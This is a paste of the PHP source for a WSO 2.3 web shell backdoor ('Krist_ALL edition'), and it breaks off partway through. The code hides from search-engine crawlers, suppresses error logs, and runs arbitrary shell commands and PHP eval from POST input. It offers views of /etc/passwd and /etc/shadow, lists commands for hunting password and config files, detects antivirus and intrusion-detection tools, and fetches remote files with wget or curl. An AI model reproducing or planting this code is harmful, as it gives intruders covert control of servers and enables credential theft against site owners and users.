· 9 years ago · Apr 23, 2017, 08:00 PM
1<?php
2$auth_pass = "cd9d84b9651056a723730a48be0dbc76"; //root
3$t = 1; // 1 - input / 2 - no input;
4$color = "lime";
5$default_action = "FilesMan";
6$default_charset = "Windows-1251";
7$default_use_ajax = true;
8
9if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
10 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
11 foreach($userAgents as $agent)
12 if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
13 header('HTTP/1.0 404 Not Found');
14 exit;
15 }
16}
17@session_start();
18@error_reporting(0);
19@ini_set('error_log',NULL);
20@ini_set('log_errors',0);
21@ini_set('max_execution_time',0);
22@set_time_limit(0);
23@set_magic_quotes_runtime(0);
24@define('VERSION', '2.3');
25
26
27
28if( get_magic_quotes_gpc() ) {
29 function WSOstripslashes($array) {
30 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
31 }
32 $_POST = WSOstripslashes($_POST);
33}
34function wsoLogin() {
35echo $t;
36 if($GLOBALS['t'] == 1) echo '<form method=post><input type=text name=pass><input type=submit value=ok></form>';
37 else header('HTTP/1.0 401 Unauthorized');
38 die();
39}
40if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
41 if( empty( $auth_pass ) ||
42 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
43 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
44 else
45 wsoLogin();
46
47if( strtolower( substr(PHP_OS,0,3) ) == "win" )
48 $os = 'win';
49else
50 $os = 'nix';
51$safe_mode = @ini_get('safe_mode');
52$disable_functions = @ini_get('disable_functions');
53$home_cwd = @getcwd();
54if( isset( $_POST['c'] ) )
55 @chdir($_POST['c']);
56$cwd = @getcwd();
57if( $os == 'win') {
58 $home_cwd = str_replace("\\", "/", $home_cwd);
59 $cwd = str_replace("\\", "/", $cwd);
60}
61if( $cwd[strlen($cwd)-1] != '/' )
62 $cwd .= '/';
63
64 if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
65 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
66
67
68if($os == 'win')
69 $aliases = array(
70 "List Directory" => "dir",
71 "Find index.php in current dir" => "dir /s /w /b index.php",
72 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
73 "Show active connections" => "netstat -an",
74 "Show running services" => "net start",
75 "User accounts" => "net user",
76 "Show computers" => "net view",
77 "ARP Table" => "arp -a",
78 "IP Configuration" => "ipconfig /all"
79 );
80else {
81$tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/');
82$tempdir='./';
83foreach( $tempdirs as $item) {
84if(@is_writable($item)){$tempdir = $item;}
85 }
86
87 $aliases = array(
88 "List dir" => "ls -lha",
89 "list file attributes on a Linux second extended file system" => "lsattr -va",
90 "show opened ports" => "netstat -an | grep -i listen",
91 "Find" => "",
92 "find all suid files" => "find / -type f -perm -04000 -ls",
93 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
94 "find all sgid files" => "find / -type f -perm -02000 -ls",
95 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
96 "find config.inc.php files" => "find / -type f -name config.inc.php",
97 "find config* files" => "find / -type f -name \"config*\"",
98 "find config* files in current dir" => "find . -type f -name \"config*\"",
99 "find all writable folders and files" => "find / -perm -2 -ls",
100 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
101 "find all service.pwd files" => "find / -type f -name service.pwd",
102 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
103 "find all .htpasswd files" => "find / -type f -name .htpasswd",
104 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
105 "find all .bash_history files" => "find / -type f -name .bash_history",
106 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
107 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
108 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
109 "Locate" => "",
110 "locate httpd.conf files" => "locate httpd.conf",
111 "locate vhosts.conf files" => "locate vhosts.conf",
112 "locate proftpd.conf files" => "locate proftpd.conf",
113 "locate psybnc.conf files" => "locate psybnc.conf",
114 "locate my.conf files" => "locate my.conf",
115 "locate admin.php files" =>"locate admin.php",
116 "locate cfg.php files" => "locate cfg.php",
117 "locate conf.php files" => "locate conf.php",
118 "locate config.dat files" => "locate config.dat",
119 "locate config.php files" => "locate config.php",
120 "locate config.inc files" => "locate config.inc",
121 "locate config.inc.php" => "locate config.inc.php",
122 "locate config.default.php files" => "locate config.default.php",
123 "locate config* files " => "locate config",
124 "locate .conf files"=>"locate '.conf'",
125 "locate .pwd files" => "locate '.pwd'",
126 "locate .sql files" => "locate '.sql'",
127 "locate .htpasswd files" => "locate '.htpasswd'",
128 "locate .bash_history files" => "locate '.bash_history'",
129 "locate .mysql_history files" => "locate '.mysql_history'",
130 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
131 "locate backup files" => "locate backup",
132 "locate dump files" => "locate dump",
133 "locate priv files" => "locate priv"
134
135 );
136}
137function wsoHeader() {
138 if(empty($_POST['charset']))
139 $_POST['charset'] = $GLOBALS['default_charset'];
140 global $color;
141 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "</title>
142<style>
143body{background-color:#000000;color:lime;}
144body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:e1e1e1; }
145table.info{ color:#00FFCC;background-color:#000000; font:3pt; }
146span,h1,a{ color: $color !important; }
147span{ font-weight: bolder; }
148h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
149div.content{ padding: 0px;margin-left:0px;background-color:#333; }
150a{ text-decoration:none; }
151a:hover{ text-decoration:underline; }
152.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
153.bigarea{ width:100%;height:250px; }
154input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
155form{ margin:0px; }
156#ttoolsTbl{ text-align:center; }
157.toolsInp{ width: 300px }
158.main th{text-align:left;background-color:green;}
159
160.main tr:hover{background-color:green;}
161.l1{background-color:#000}
162pre{font-family:Courier,Monospace;}
163</style>
164<script>
165 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
166 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
167 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
168 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
169 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
170 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
171 function set(a,c,p1,p2,p3,charset) {
172 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
173 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
174 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
175 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
176 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
177 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
178 }
179 function g(a,c,p1,p2,p3,charset) {
180 set(a,c,p1,p2,p3,charset);
181 document.mf.submit();
182 }
183 function a(a,c,p1,p2,p3,charset) {
184 set(a,c,p1,p2,p3,charset);
185 var params = 'ajax=true';
186 for(i=0;i<document.mf.elements.length;i++)
187 params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
188 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
189 }
190 function sr(url, params) {
191 if (window.XMLHttpRequest)
192 req = new XMLHttpRequest();
193 else if (window.ActiveXObject)
194 req = new ActiveXObject('Microsoft.XMLHTTP');
195 if (req) {
196 req.onreadystatechange = processReqChange;
197 req.open('POST', url, true);
198 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
199 req.send(params);
200 }
201 }
202 function processReqChange() {
203 if( (req.readyState == 4) )
204 if(req.status == 200) {
205 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
206 var arr=reg.exec(req.responseText);
207 eval(arr[2].substr(0, arr[1]));
208 } else alert('Request error!');
209 }
210</script>
211<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
212<form method=post name=mf style='display:none;'>
213<input type=hidden name=a>
214<input type=hidden name=c>
215<input type=hidden name=p1>
216<input type=hidden name=p2>
217<input type=hidden name=p3>
218<input type=hidden name=charset>
219</form>";
220
221//Div content color:333;
222
223 $freeSpace = @diskfreespace($GLOBALS['cwd']);
224 $totalSpace = @disk_total_space($GLOBALS['cwd']);
225 $totalSpace = $totalSpace?$totalSpace:1;
226 $release = @php_uname('r');
227 $kernel = @php_uname('s');
228 $millink = 'http://milw0rm.com/search.php?dong=';
229 if( strpos('Linux', $kernel) !== false )
230 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
231 else
232 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
233 if(!function_exists('posix_getegid')) {
234 $user = @get_current_user();
235 $uid = @getmyuid();
236 $gid = @getmygid();
237 $group = "?";
238 } else {
239 $uid = @posix_getpwuid(@posix_geteuid());
240 $gid = @posix_getgrgid(@posix_getegid());
241 $user = $uid['name'];
242 $uid = $uid['uid'];
243 $group = $gid['name'];
244 $gid = $gid['gid'];
245 }
246 $cwd_links = '';
247 $path = explode("/", $GLOBALS['cwd']);
248 $n=count($path);
249 for($i=0;$i<$n-1;$i++) {
250 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
251 for($j=0;$j<=$i;$j++)
252 $cwd_links .= $path[$j].'/';
253 $cwd_links .= "\")'>".$path[$i]."/</a>";
254 }
255 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
256 $opt_charsets = '';
257 foreach($charsets as $item)
258 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
259 $m = array('INFO'=>'SecInfo','FILES'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','TOOLS'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
260 if(!empty($GLOBALS['auth_pass']))
261 $m['Logout'] = 'Logout';
262 $m['DEL'] = 'SelfRemove';
263 $menu = '';
264 foreach($m as $k => $v)
265 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
266 $drives = "";
267 if ($GLOBALS['os'] == 'win') {
268 foreach( range('c','z') as $drive )
269 if (is_dir($drive.':\\'))
270 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
271 }
272
273
274
275
276$SERVER_SOFTWARE = @substr(getenv('SERVER_SOFTWARE'),0,150);
277if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
278
279
280
281$Lversion = php_uname(r);
282$OSV = php_uname(s);
283$OSV = str_replace(' ','+',$OSV);
284if(stripos('Linux',$OSV) != false)
285{
286$Lversion=substr($Lversion,0,6);
287$google_link='http://www.google.ru/search?q=Linix+Kernel+'.$Lversion.'+exploit';
288$paketstorm_link="http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+".$Lversion;
289$exploitdb_link = "http://www.exploit-db.com/search/?action=search&filter_description=linux+Kernel+".substr($Lversion,0,3);
290$securitylab_link='http://www.securitylab.ru/search/index.php?q=linux+kernel+'.$Lversion.'+exploit';
291$steam = 'linux kernel '.substr($Lversion,0,3);
292}else{
293$Lversion=substr($Lversion,0,3);
294
295$exploitdb_link = "http://www.exploit-db.com/search/?action=search&filter_description=".$OSV.'+'.$Lversion;
296$paketstorm_link="http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=".$OSV.'+'.$Lversion;
297$google_link='http://www.google.ru/search?q='.$OSV.'+'.$Lversion.'+exploit';
298$securitylab_link='http://www.securitylab.ru/search/index.php?q='.$OSV.'+'.$Lversion.'+exploit';
299$steam = $OSV.' '.$Lversion;
300}
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324echo '<form action=http://securiteam.com/cgi-bin/htsearch method=post id=steam name=steam>
325<input type=hidden name=words value="'.$steam.'">
326<input type=hidden name=restrict value=/exploits/>
327
328<table class=info border=0 cellpadding=0 cellspacing=0 width=100%>
329 <font size=1><tr> <td width=1><font color=lime><b>Uname: </b></td><td><font color=white>
330 '.substr(@php_uname(), 0, 120).' <a href="'.$google_link.'" target="_blank">[ Google ]</a> <a href="'.$exploitdb_link.'" target=_blank>[ Exploit-db ]</a> <a href="'.$paketstorm_link.'" target=_blank>[ Packetstorm ]</a> <a href="'.$securitylab_link.'" target=_blank>[ Securitylab ]</a> <a href=# onclick=steam.submit(); ttarget=_blank>[ SecurityTeam ]</a></td> <td rowspan=4 width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Your IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></form>
331
332 <tr height=1><td width=1><font color=lime><b>Server: </b></td><td><font color=white>'.$SERVER_SOFTWARE.'</td></tr>
333 <tr height=1><td width=1><font color=lime><b>User: </b></td><td><font color=white>'.$user.' ( '.$uid.' / '.$gid.' - '.$group.' )       <font color=lime><b>PHP:</b>    <font color=white>'.@phpversion().'</font>  <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a>  <a href=# onclick="g(\'Php\',null,\'\',\'ini\')">[ php.ini ]</a><font color=lime><b>       HDD: </b></font><font color=white>'.wsoViewSize($freeSpace).' / '.wsoViewSize($totalSpace).' ('.round(100/(wsoViewSize($totalSpace)/wsoViewSize($freeSpace)),2).'%)</font>';
334 $curl_on = @function_exists('curl_version');
335
336 echo ' </td></tr>
337 <tr><td colspan=2><font color=lime><b>Safe mode: </b>'.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00>OFF</font>').'   <font color=lime><b>Open_basedir:</b></font> ';
338 if((@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;};
339 if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=red>$df</font></b>";};}
340 else {echo "<font color=green>OFF</font></b>";}
341 echo "       <font color=lime><b>cURL: </b></font>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>"));
342 echo '       ';
343
344
345
346
347if(($mysql_on = @function_exists('mysql_connect'))){
348echo "<font color=lime><b>MySQL: </b><font color=green>ON";
349
350if(function_exists('mysql_get_client_info')) {
351 echo ' <font color=white>('.mysql_get_client_info().')';
352 echo "</font>       "; }
353
354echo "</font>       "; }
355
356
357
358if(($mssql_on = @function_exists('mssql_connect'))){
359echo "<font color=lime><b>MSSQL: </b><font color=green>ON</font>       "; }
360
361
362
363if(($pg_on = @function_exists('pg_connect'))){
364echo "<font color=lime><b>PostgreSQL: </b><font color=green>ON</font>       "; }
365
366
367
368
369
370
371
372if(($ora_on = @function_exists('ocilogon'))){
373echo "<font color=lime><b>Oracle: </b><font color=green>ON</font>       "; }
374
375
376
377if(($mysqli_on = @function_exists('mysqli_connect'))){
378echo "<font color=lime><b>MySQLi: </b><font color=green>ON</font>       ";
379 }
380
381
382
383
384if(($msql_on = @function_exists('msql_connect'))){
385echo "<font color=lime><b>mSQL: </b><font color=green>ON</font>       "; }
386
387
388
389
390if(($sqlite_on = @function_exists('sqlite_open'))){
391echo "<font color=lime><b>SQLite: </b><font color=green>ON</font>       "; }
392
393
394
395
396
397
398 $countf = 0;
399
400 if(''!=($df=@ini_get('disable_functions'))){ $countf +=1; echo "<br><font color=lime><b>Disable: </b><font color=white>".$df.'</font>       ';}
401
402
403 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
404 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
405 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
406
407
408
409
410 $temp=array();
411 if( $GLOBALS['os'] == 'nix' ) {
412 if(!$GLOBALS['safe_mode']) {
413
414 foreach ($userful as $item)
415 if(wsoWhich($item)){$temp[]=$item;}
416
417 } }
418 else {
419 //echo implode(', ',$temp);
420 if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$temp[]="mod_perl";}
421 if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$temp[]="mod_include(SSI)";}
422 if (@function_exists('pcntl_exec')) {$temp[] = "pcntl_exec";}
423 if (@extension_loaded('win32std')) {$temp[]="win32std_loaded";}
424 if (@extension_loaded('win32service')) {$temp[]="win32service_loaded";}
425 if (@extension_loaded('ffi')) {$temp[]="ffi_loaded";}
426 if (@extension_loaded('perl')) {$temp[]="perl_loaded";}
427 }
428 if(sizeof($temp) > 0) { $countf +=1; echo '<br><font color=lime><b>Useful: </b><font color=green>'.implode(', ',$temp).'</font><br>'; }
429
430
431$temp=array();
432 if( $GLOBALS['os'] == 'nix' and !$GLOBALS['safe_mode']) {
433
434
435 foreach ($danger as $item)
436 if(wsoWhich($item)){$temp[]=$item;} }
437if(sizeof($temp) > 0) { $countf +=1; echo '<font color=red><b>Danger: </b>'.implode(', ',$temp).'</font><br>'; }
438
439
440
441
442 $temp=array();
443 if( $GLOBALS['os'] == 'nix' and !$GLOBALS['safe_mode']) {
444
445 $GLOABALS['downloadss'] = array();
446 foreach ($downloaders as $item)
447 if(wsoWhich($item)){$GLOBALS['downloadss'][]=$item; } }
448//if(sizeof($temp) > 0) { $countf +=1; echo '<font color=yellow><b>Downloaders: </b></font><font color=green>'.implode(', ',$temp).'</font>       '; }
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469 if ($countf > 0) echo '</td></tr><tr><td colspan=2>';
470
471 if($GLOBALS['os'] != 'nix') echo '<font color=lime><b>'.$drives.'    ';
472 echo $cwd_links.'   '.wsoPermsColor($GLOBALS['cwd']).'   <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a>';
473
474
475 echo '</td></tr>
476
477 </table>'.
478
479
480
481 '
482
483 <table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:0">';
484// маргин 5 дл¤ отÑтупа
485
486
487
488
489
490
491 }
492
493function wsoFooter() {
494 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=lime>":"<font color=red>";
495 echo "
496</div>
497<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
498 <tr><td><br></td></tr><tr>
499 <td><form onsubmit='g(null,this.c.value);return false;'><span>DIR </span></td><td><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
500 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span></td><td><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
501 </tr><tr>
502 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>".$is_writable."Make dir:</span></td><td><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
503 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>".$is_writable."Make file:</span></td><td><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
504 </tr><tr>
505 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span></td><td><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
506 <td><form method='post' ENCTYPE='multipart/form-data'>
507 <input type=hidden name=a value='FilesMAn'>
508 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
509 <input type=hidden name=p1 value='uploadFile'>
510 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
511 <span>".$is_writable."Upload file:</span></td><td><input class='toolsInp' type=file name=f><input type=submit value='>>'></form></td>
512 </tr>";
513
514
515
516
517 if(sizeof($GLOBALS['downloadss']) > 0) {
518 echo "
519 <tr><form onsubmit=\"g('FilesMan',null,'rem',this.updest.value,this.upurl.value,this.remt.value);return false;\">
520 <td><font color=lime><b>Remote upload </b></td><td colspan=3><select name=remt>";
521
522 foreach($GLOBALS['downloadss'] as $dss) {
523 echo "
524 <option value=$dss>$dss</option>";
525}
526
527 echo "</select>
528 <input tupe=text name=upurl size=60 value=http://google.com/file.zip>
529 <input tupe=text name=updest size=60 value=".htmlspecialchars($GLOBALS['cwd'])."file.zip><input type=submit value='>>'></form>
530
531
532</td></tr>";
533
534}
535
536
537
538
539echo "<tr><td colspan=4 align=center><br><i><b>Krist_ALL edition - z e b r a</b></i> </td</tr></table></div></body></html>";
540}
541
542if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
543if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
544function wsoEx($in) {
545 $out = '';
546 if(function_exists('exec')) {
547 @exec($in,$out);
548 $out = @join("\n",$out);
549 }elseif(function_exists('passthru')) {
550 ob_start();
551 @passthru($in);
552 $out = ob_get_clean();
553 }elseif(function_exists('system')) {
554 ob_start();
555 @system($in);
556 $out = ob_get_clean();
557 }elseif(function_exists('shell_exec')) {
558 $out = shell_exec($in);
559 }elseif(is_resource($f = @popen($in,"r"))) {
560 $out = "";
561 while(!@feof($f))
562 $out .= fread($f,1024);
563 pclose($f);
564 }
565 return $out;
566}
567function wsoViewSize($s) {
568 if($s >= 1073741824)
569 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
570 elseif($s >= 1048576)
571 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
572 elseif($s >= 1024)
573 return sprintf('%1.2f', $s / 1024 ) . ' KB';
574 else
575 return $s . ' B';
576}
577
578function wsoPerms($p) {
579 if (($p & 0xC000) == 0xC000)$i = 's';
580 elseif (($p & 0xA000) == 0xA000)$i = 'l';
581 elseif (($p & 0x8000) == 0x8000)$i = '-';
582 elseif (($p & 0x6000) == 0x6000)$i = 'b';
583 elseif (($p & 0x4000) == 0x4000)$i = 'd';
584 elseif (($p & 0x2000) == 0x2000)$i = 'c';
585 elseif (($p & 0x1000) == 0x1000)$i = 'p';
586 else $i = 'u';
587 $i .= (($p & 0x0100) ? 'r' : '-');
588 $i .= (($p & 0x0080) ? 'w' : '-');
589 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
590 $i .= (($p & 0x0020) ? 'r' : '-');
591 $i .= (($p & 0x0010) ? 'w' : '-');
592 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
593 $i .= (($p & 0x0004) ? 'r' : '-');
594 $i .= (($p & 0x0002) ? 'w' : '-');
595 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
596 return $i;
597}
598function wsoPermsColor($f) {
599 if (!@is_readable($f))
600 return '<font color=#FF0000><b>'.wsoPerms(@fileperms($f)).'</b></font>';
601 elseif (!@is_writable($f))
602 return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
603 else
604 return '<font color=lime><b>'.wsoPerms(@fileperms($f)).'</b></font>';
605}
606if(!function_exists("scandir")) {
607 function scandir($dir) {
608 $dh = opendir($dir);
609 while (false !== ($filename = readdir($dh))) {
610 $files[] = $filename;
611 }
612 return $files;
613 }
614}
615function wsoWhich($p) {
616 $path = wsoEx('which '.$p);
617 if(!empty($path))
618 return $path;
619 return false;
620}
621function actionSecInfo() {
622 wsoHeader();
623 echo '<h1>Server information</h1><div class=content>';
624 function wsoSecParam($n, $v) {
625 $v = trim($v);
626 if($v) {
627 echo '<span>'.$n.': </span>';
628 if(strpos($v, "\n") === false)
629 echo $v.'<br>';
630 else
631 echo '<pre class=ml1>'.$v.'</pre>';
632 }
633 }
634 if(function_exists('apache_get_modules'))
635 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
636 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
637 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
638 wsoSecParam('Open base dir', @ini_get('open_basedir'));
639 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
640 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
641 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
642 $temp=array();
643 if(function_exists('mysql_get_client_info'))
644 $temp[] = "MySql (".mysql_get_client_info().")";
645 if(function_exists('mssql_connect'))
646 $temp[] = "MSSQL";
647 if(function_exists('pg_connect'))
648 $temp[] = "PostgreSQL";
649 if(function_exists('oci_connect'))
650 $temp[] = "Oracle";
651 wsoSecParam('Supported databases', implode(', ', $temp));
652 echo '<br>';
653
654 if( $GLOBALS['os'] == 'nix' ) {
655 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
656 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
657 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
658 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
659 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
660 wsoSecParam('Syslog', @is_readable('/etc/syslog.conf')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"syslog.conf\")'>[view]</a>":'no');
661 wsoSecParam('Fstab', @is_readable('/etc/fstab')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"fstab\")'>[view]</a>":'no');
662 wsoSecParam('Cpuinfo', @is_readable('/proc/cpuinfo')?"yes <a href='#' onclick='g(\"FilesTools\", \"/proc/\", \"cpuinfo\")'>[view]</a>":'no');
663
664 wsoSecParam('OS version', @file_get_contents('/proc/version')); echo '<br>';
665 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
666 if(!$GLOBALS['safe_mode']) {
667 echo '<br>';
668
669 echo '<br/>';
670 wsoSecParam('HDD space', wsoEx('df -h'));
671 echo '<br>';
672 wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); echo '<br>';
673 wsoSecParam('Ifconfig', wsoEx('ifconfig')); echo '<br>';
674 wsoSecParam('Uptime', wsoEx('uptime')); echo '<br>';
675 wsoSecParam('last 10', wsoEx('last -n 10')); echo '<br>';
676 wsoSecParam('Ps -aux', wsoEx('ps -aux')); echo '<br>';
677
678
679
680
681 }
682 } else {
683 wsoSecParam('OS Version',wsoEx('ver'));
684 wsoSecParam('Account Settings',wsoEx('net accounts'));
685 wsoSecParam('User Accounts',wsoEx('net user'));
686 }
687 echo '</div>';
688 wsoFooter();
689}
690
691function actionPhp() {
692 if( isset($_POST['ajax']) ) {
693 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
694 ob_start();
695 eval($_POST['p1']);
696 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
697 echo strlen($temp), "\n", $temp;
698 exit;
699 }
700 wsoHeader();
701 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
702 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
703 ob_start();
704 phpinfo();
705 $tmp = ob_get_clean();
706 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
707 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
708 echo str_replace('h1','h2',$tmp).'</div><br>';
709 }
710
711
712 elseif( isset($_POST['p2']) && ($_POST['p2'] == 'ini') ) {
713 echo '<h1>PHP ini</h1><div class=content><style>.p {color:#000;}</style>';
714 ob_start();
715 //
716
717
718
719
720
721
722
723 function U_value($value)
724 {
725 if ($value == '') return '<i>no value</i>';
726 if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
727 if ($value === null) return 'NULL';
